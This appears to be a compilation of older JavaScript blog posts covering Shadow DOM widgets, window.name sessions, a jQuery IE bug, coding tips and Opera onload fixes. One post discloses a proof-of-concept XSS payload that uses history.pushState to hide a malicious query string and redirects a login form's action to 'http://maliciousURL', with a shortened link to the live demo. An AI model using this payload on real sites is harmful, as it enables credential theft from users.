Ever heard of Shadow DOM? If you haven’t then this article is definitely for you (and if you already have, you should still read this ;)).

Despite of the “scary” name it has there’s nothing to be afraid of. Shadow DOM is a friendly little fellow who’s here to make life of web application developers easier.

In this article, I’ll present thoroughly the capabilities of Shadow DOM and how one can easily create independent widgets by encapsulating their code with it.

Table of Contents

Prerequisites

At the moment, Shadow DOM API can only be used and accessed with Chrome 25+ Beta or Chrome Canary. Download either one of them and start inspecting what Shadow DOM has to offer.

To access Shadow DOM via Chrome Console, you have to enable it from Settings -> General -> [x] Show Shadow DOM.

What is it About?

Shadow DOM is described by W3C as “The shadow DOM allows multiple DOM trees to be composed into one larger tree when rendered”. In practice, this means that it’s possible to create shadow roots and include them into document tree nodes, better known as shadow hosts. Shadow roots can contain child nodes, and these nodes aren’t exposed in traditional DOM tree at all.

Let’s have an example: suppose we have an input element which type is date. In modern browsers this type of element contains a date picker to provide some additional functionality and accessibility for the user.

This is where Shadow DOM enters the stage: date picker is constructed as a Shadow DOM subtree where input field acts as an shadow host.

Even though we can view the Shadow DOM of browser components, we can’t directly access to them.

Playing with Shadow DOM

Now that you’ve set up and you understand the basics about Shadow DOM, it’s time to start playing with it.

In our case, we want to create a simple custom widget which displays JSON data structure in a table. I won’t go in to the deepest details of the widget, but I’ve created a live demo of the widget I’m using as an example.

Preparing Content

At first we start by preparing and creating content. There are couple of guidelines on creating content:

  • it may be wise to use HTML templates instead of direct DOM manipulation when creating complex structures,
  • avoid using too generic naming. Although Shadow DOM is secured, this can lead to misunderstandings,
  • using pseudo-attributes is a good practice

With these guidelines we make the life easier both for us and for the developers who are using the widget.

We start by creating a template for our widget:


Notice: if you want to use external template files (like I do in my demo), use valid HTML elements, eg. by switching template element to a section.

Now we have a basic HTML structure set up and we can add some styling:


This is it. We have a HTML structure and CSS styling ready for the widget and now we need to do some JavaScript magic. Basically we want to fetch the template elements and use them as shadow root children elements for displaying the JSON data. In order do to this, we need some attributes for the jsontable element:


What we’ve got here is:

  • jsontable as the custom widget element,
  • data-template refers to an id of the template we want to use,
  • data-source refers to a JS object variable which contains the “JSON data”

There are both static and XHR examples in my demo, check them out for further guidance of using the data-source and .dataSource setter.

Creating a Shadow Root

We will start by accessing our custom HTML element called <jsontable> and creating a shadow root for it by calling document.webkitCreateShadowRoot (notice the webkit prefix):

var jsontable = document.querySelector("jsontable"),
    jsontableRoot = jsontable.webkitCreateShadowRoot();

For the simplicity of this example, we access only one jsontable element at time and create the functionality for it.

Next, we need to refer to our template and append it to the shadow root:

var templateId = jsontable.dataset.template;
var templateNode = document.getElementById(templateId);

jsontableRoot.appendChild(templateNode);

After this, following steps are:

  • setting references for template elements (table, tr, th, td),
  • populating table from the JSON by using these references

Both of these steps are done in my live demo I’ve created for this article.

This is it! What we’ve achieved is an independent widget which doesn’t interfere with the other DOM at all.

Accessing Shadow Root

Sometimes, one may need to access Shadow DOM externally and manipulate it. This is possible both with CSS and JS.

Accessing via CSS

In order to allow CSS access, we need to declare <shadow root>.applyAuthorStyles = true;. In our example, I made a setter for it (see live demo for further details):

var exports = {
    set applyAuthorStyles(x) {
        jsontableRoot.applyAuthorStyles = !!x;
    }
};

This allows accessing the styling whenever we need to, ie. we can enable and disable in on the fly.

Accessing via JavaScript

JavaScript access can’t be done with direct reference (see example), but it can be done by using webkitShadowRoot property, eg.:

var table = document.querySelector("jsontable").webkitShadowRoot.querySelector("table");

This allows manipulating the Shadow DOM whenever it’s needed. At the moment it’s not even possible to protect your Shadow DOM from external access (see Bug 16509 – [Shadow]: Consider isolation).

Conclusions

I’ve to say I’m excited about Shadow DOM. Although different kinds of snippets, plugins and widgets have been created for years, Shadow DOM and Web Components offers a clear path for creating eg. custom form controls, media controls, captchas, etc.

Current status of course is that Shadow DOM can’t yet be used purely because it has landed only on few browsers and the work is still in progress. However, we can play it with (just like we did in this article) and consider the possibilities it offers in the future.

Resources

Here are some of the resources I encountered while exploring the wonderful world of Shadow DOM:

I was playing around with window.history object. In general, it’s quite limited and can be considered rather useless. However, HTML5 brings some new methods to History object in order to make it more powerful.

In this article I will take a quick glance on a quite peculiar method called pushState(). There is one security related issue I want to point out, which I’m considering rather harmful.

history.pushState()

history.pushState() was introduced in HTML5 and it’s meant for modifying history entries.

By using pushState() we’re allowed to alter the visible URL in address bar without reloading the document itself. Sounds a bit risky, doesn’t it?

The Harmful Part

The harmful part is that we can conceal the real location and replace it with anything we want. Although the hostname can’t be replaced, we can completely change the pathname.

So, I made a brief PoC about hiding a non-persistent XSS exploit. It’s about executing a malicious script on a login page through a non-validated query parameter (quite common situation). The script redefines form.action and then removes the malicious query parameters of the URL shown in address bar.

Proof of Concept

This PoC works only in modern browsers that has implemented this HTML5 proposal. This only works in Google Chrome 9 and Firefox 4 Beta.

pushState() works properly also in Safari 5, but it’s security control refuses to load external scripts or execute injected scripts.

I’ll inject some malicious code via query parameter: ?username=”><script>(history.pushState({},”,’index.php’))(document.forms[0].action=’http://maliciousURL’)</script>

As you can see the URL is pretty ugly. Therefore shortened it in a trusted URL shortener service (like everyone does nowadays): http://bit.ly/pushStateXSS.

Just visit this URL to see how pushState() behaves and what is shown in address bar.

Conclusion

Can this be considered as a security flaw? – Definitely yes.

How it should be fixed? – There should be a property, eg. history.allowPushState which would be set to false by default. And website developers could explicitly set it to true while being aware of the risks. Edit: I’ve received some feedback about this. And you’re right – this wouldn’t fix anything since it could be set to true in injection. I wasn’t thinking this thoroughly :).

Note: I’m taking advantage of this technique in my //bit.ly/xss_1, which I use for pointing out the XSS vulnerabilities for website administrators. It just removes everything after “?” from the URL in address bar.

I was going to write one long blog post about advanced handling of browsing history, but then I decided to split this into two separate articles.

In this article I’ll represent a small JavaScript snippet I created for handling client-side session variables without cookies or Local Storage.

The snippet, Session.js, works on all modern browsers that support JSON natively. And if you want to extend it to work on browsers like Internet Explorer 6, you can use custom JSON implementation (eg. Sitepoint: Cross-browser JSON Serialization in JavaScript).

The reason I wrote this is simple – sometimes you just want to persist client-side variables during the whole session. In general, cookies are OK, but I personally dislike them to be used as very temporary data storages. I just don’t want to pollute cookie with (secondary) data that isn’t ever meant to be used after the session. Beside, cookies do not accept larger quantities of data.

Therefore I’m using window.name property. This property will exist during the whole session, and is automatically emptied when user closes the window or moves to another domain.

There are also other implementations of the very same topic, such as Thomas Frank’s sessvars.

Methods

There are following methods:

Session.setVar(string name, mixed value)

This sets the variable. You can add any type of value (number, string, boolean, object).

Session.getVar(string name)

This returns the variable. If such variable doesn’t exist, this returns false.

Session.removeVar(string name)

This removes the variable. If such variable doesn’t exist, this returns false.

Session.subscribe(string name, function callback)

This attaches a function to the variable. So whenever variable is set on the document, or is already set earlier during session, subscribed functions are fired. However, function won’t be fired when variable is removed, but the function itself will stay attached on the variable and fired if the variable is set again.

You can add a “namespace” for functions to distinct them for unsubscribing. This is done by adding a period on variable name: Session.subscribe(“foo.alertVariable”, function() { alert(Session.getVar(“foo”); });.

Session.unsubscribe(string name)

This simply unsubscribes certain function attached to the variable, eg Session.unsubscribe(“foo.alertVariable”).

Source Code

You can get the source code from here.

There is also very small demonstration available in here.

When jQuery returns failed in IE - and how it's probably resolved
In web development, I love facing unexpected problems I haven’t seen before. It’s an excellent situation to learn new things. And the moment right after I’ve found a solution – it’s a perfect moment. But when I can’t find a solution, no matter how hard I try, and especially when I can’t find anything from Google that could help me.. well, I get very frustrated. In this brief article, I’ll go through one problematic situation that really got me frustrated. Plus, this hopefully can be found via Google and therefore works as a solution to anyone who’s facing a same problem.
Last week at work, I encountered a very peculiar problem in Internet Explorer. There were several IE-related bugs reported in a certain part of the service. However, I couldn’t reproduce them and I expected these bugs had been fixed during other updates in the code.. ..until it suddenly happened. All the tested versions of IE’s (6, 7, 8) started reporting either error “failed” or “unexpected error”, pointing to jQuery’s code. And there worst part was that error occurred occasionally, although nothing was changed. In this case, there’s jQuery 1.3.2 in use. Error message didn’t help and the line it was pointing to, belonged to a internal / helper function into jQuery. At first, errors disappeared after some fixes I expected to resolve the situation. But, like I mentioned earlier: these errors were occasional. I didn’t have anything that could have helped me at least a little on tracking this problem (later I found not even unit tests would’ve solved this – although it’s not an argument why I didn’t have unit testing for javascript). So, my only choice was trying to isolate the problem function by function, line by line. Ultimately I found that all the errors were caused by event handler bindings made with function $.fn.live(). I couldn’t blame the selectors being too unprecise, although I reduced the amount of troublemakers by fine-tuning them. In addition, I found that wrapping them in setTimeout() with small delay would have possibly fixed the problem. Also, IE6 had the most problems, while IE7 started to feel stable. Most likely there was something going on with perfomance. However, after all this I wasn’t in a mood to expect these problems were completely solved. So I ended up binding event handlers with $.fn.bind() whenever something was dynamically added. It meant more lines of code, but it also meant that no errors were occurred ever again. The point of this article can be put in one sentence: if you receive an error with message “failed” or “unexpected error” from jQuery and this happens only in Internet Explorer, comment out every possible live() binding and try again.

It doesn’t matter how many years I’ve been dealing with Javascript – it contains many little things that surprises me almost every week. For me, Javascript means a constant learning process.

In this article, I’ll provide ten small Javascript tips, mainly aimed for beginner and intermediate Javascript developers. Hopefully there’s at least one useful tip for every reader :).

1. Variables conversions

This sounds quite obvious, but as far I’ve seen, using object constructors, like Array() or Number() for converting variables is quite common practice. Always use primitive data types (sometimes referred as literals) for converting variables. These won’t do any extra tricks and they usually have better performance.
var myVar	= "3.14159",
	str		= ""+ myVar,//	to string
	int		= ~~myVar,	//	to integer
	float	= 1*myVar,	//	to float
	bool	= !!myVar,	/*	to boolean - any string with length
							and any number except 0 are true */
	array	= [myVar];	//	to array
Converting to dates (new Date(myVar)) and regular expressions (new RegExp(myVar)) must be done with constructors. However, always use /pattern/flags when creating regular expressions.

2. Converting decimals to hex or octals and vice versa

Are you writing separate functions for hex (or octal) conversios? Stop. This can be easily done with existing methods:
(int).toString(16);	// converts int to hex, eg 12 => "C"
(int).toString(8);	// converts int to octal, eg. 12 => "14"
parseInt(string, 16) // converts hex to int, eg. "FF" => 255
parseInt(string, 8) // converts octal to int, eg. "20" => 16

3. More playing with numbers

In addition to previous section, here are some more small tricks with when dealing with numbers.
0xFF; // Hex declaration, returns 255
020; // Octal declaration, returns 16
1e3; // Exponential, same as 1 * Math.pow(10,3), returns 1000
(1000).toExponential(); // Opposite with previous, returns 1e3
(3.1415).toFixed(3); // Rounding the number, returns "3.142"

4. Javascript Version Detection

Are you aware which version of Javascript your browser supports? If not, check Javascript Versions sheet from Wikipedia. For some reason, features in Javascript version 1.7 are not widely supported. However, most browsers released within a year support features in version 1.8 (and in 1.8.1). Note: all the versions of Internet Explorer (8 and older) supports only Javascript version 1.5. Here’s a tiny script both for detecting the version of Javascript via feature detection. It also allows checking support for specific version of Javascript:
var JS_ver	= [];

(Number.prototype.toFixed)?JS_ver.push("1.5"):false;
([].indexOf && [].forEach)?JS_ver.push("1.6"):false;
((function(){try {[a,b] = [0,1];return true;}catch(ex) {return false;}})())?JS_ver.push("1.7"):false;
([].reduce && [].reduceRight && JSON)?JS_ver.push("1.8"):false;
("".trimLeft)?JS_ver.push("1.8.1"):false;

JS_ver.supports	= function()
{
	if (arguments[0])
		return (!!~this.join().indexOf(arguments[0] +",") +",");
	else
		return (this[this.length-1]);
}

alert("Latest Javascript version supported: "+ JS_ver.supports());
alert("Support for version 1.7 : "+ JS_ver.supports("1.7"));

5. window.name for simple session handling

This one is something I really like. You can assign values as a string for window.name property and it preserves the values until you close the tab or window. Although I’m not providing any script, I strongly suggest you to take full advantage from it. For instance, it’s very useful for toggling between debugging and (perfomance) testing modes, when building a website or an application.

6. Testing existence of property

This issue can be approached at least from two directions. Either we check whether property exists or we check the type of property. But always avoid these small mistakes:
// BAD: This will cause an error in code when foo is undefined
if (foo) {
	doSomething();
} 

// GOOD: This doesn't cause any errors. However, even when
// foo is set to NULL or false, the condition validates as true
if (typeof foo != "undefined") {
	doSomething();
}

// BETTER: This doesn't cause any errors and in addition
// values NULL or false won't validate as true
if (window.foo) {
	doSomething();
}
However, there may be situations, when we have deeper structure and proper checking would look like this:
// UGLY: we have to proof existence of every
// object before we can be sure property actually exists
if (window.oFoo && oFoo.oBar && oFoo.oBar.baz) {
	doSomething();
}

7. Passing arguments for function

When function has both required and optional parameters (arguments), eventually we may end up with functions and function calls looking like this:
function doSomething(arg0, arg1, arg2, arg3, arg4) {
...
}

doSomething('', 'foo', 5, [], false);
It’s always easier to pass only one object instead of several arguments:
function doSomething() {
	// Leaves the function if nothing is passed
	if (!arguments[0]) {
		return false;
	}
	
	var oArgs	= arguments[0]
		arg0	= oArgs.arg0 || "",
		arg1	= oArgs.arg1 || "",
		arg2	= oArgs.arg2 || 0,
		arg3	= oArgs.arg3 || [],
		arg4	= oArgs.arg4 || false;
}

doSomething({
	arg1	: "foo",
	arg2	: 5,
	arg4	: false
});
This is only a rough example of passing an object as an argument. For instance, we could declare an object with name of the variable as keys and default values as properties (and/or data types).

8. Using document.createDocumentFragment()

You may need to dynamically append multiple elements into document. However, appending them directly into document will fire redrawing of whole view every time, which causes perfomance penalty. Instead, you should use document fragments, which are appended only once after completion:
function createList() {
	var aLI	= ["first item", "second item", "third item",
		"fourth item", "fith item"];
	
	// Creates the fragment
	var oFrag	= document.createDocumentFragment();
	
	while (aLI.length) {
		var oLI	= document.createElement("li");
		
		// Removes the first item from array and appends it
		// as a text node to LI element
		oLI.appendChild(document.createTextNode(aLI.shift()));
		oFrag.appendChild(oLI);
	}
	
	document.getElementById('myUL').appendChild(oFrag);
}

9. Passing a function for replace() method

There are situations when you want to replace specific parts of the string with specific values. The best way of doing this would be passing a separate function for method String.replace(). Following example is a rough implementation of making a more verbose output from a single deal in online poker:
var sFlop	= "Flop: [Ah] [Ks] [7c]";
var aValues	= {"A":"Ace","K":"King",7:"Seven"};
var aSuits	= {"h":"Hearts","s":"Spades",
			"d":"Diamonds","c":"Clubs"};

sFlop	= sFlop.replace(/\[\w+\]/gi, function(match) {
	match	= match.replace(match[2], aSuits[match[2]]);
	match	= match.replace(match[1], aValues[match[1]] +" of ");

	return match;
});

// string sFlop now contains:
// "Flop: [Ace of Hearts] [King of Spades] [Seven of Clubs]"

10. Labeling of loops (iterations)

Sometimes, you may have iterations inside iterations and you may want to exit between looping. This can be done by labeling:
outerloop:
for (var iI=0;iI<5;iI++) {
	if (somethingIsTrue()) {
		// Breaks the outer loop iteration
		break outerloop;
	}
	
	innerloop:
	for (var iA=0;iA<5;iA++) {
		if (somethingElseIsTrue()) {
			// Breaks the inner loop iteration
			break innerloop;
		}

	}
}

Afterwords

Go ahead and comment! Did you learn anything new? Do you have good tips to share? I'm always delighted for sharing information about all the little details in Javascript. And if you want to familiarize with Javascript irregularities, I suggest you visiting at wtfjs :).
Opera Today, I read about a problem with Opera’s onload event not firing when navigating with back / forward buttons. The reason for this is that Opera receives documents directly from cache. Another, similar kind issue is related to firing onload event, when adding images dynamically. In this article, we will solve Opera’s onload issue caused by caching, and another problem, which occurs when adding images dynamically with javascript. Currently, this is tested to work with Windows versions of Opera 10.1, 10.2 and 10.5 pre-alpha. Please, give me feedback if you find issues with other versions of Opera.

How to force refreshing

This isn’t complicated at all:
if (window.opera)
{
	opera.setOverrideHistoryNavigationMode('compatible');
	history.navigationMode = 'compatible';
}

How to solve image.onload

After banging my head against wall, I found an easy solution:
var test = new Image();
if (test.addEventListener)
{
	test.addEventListener('load',function()
	{
		alert(this.width);
	}, false);
}

test.setAttribute('src','/images/test.gif');
The key is to define src attribute after you’ve bound event listeners.

Demo

You can view demo at Demo section: Onload issues with Opera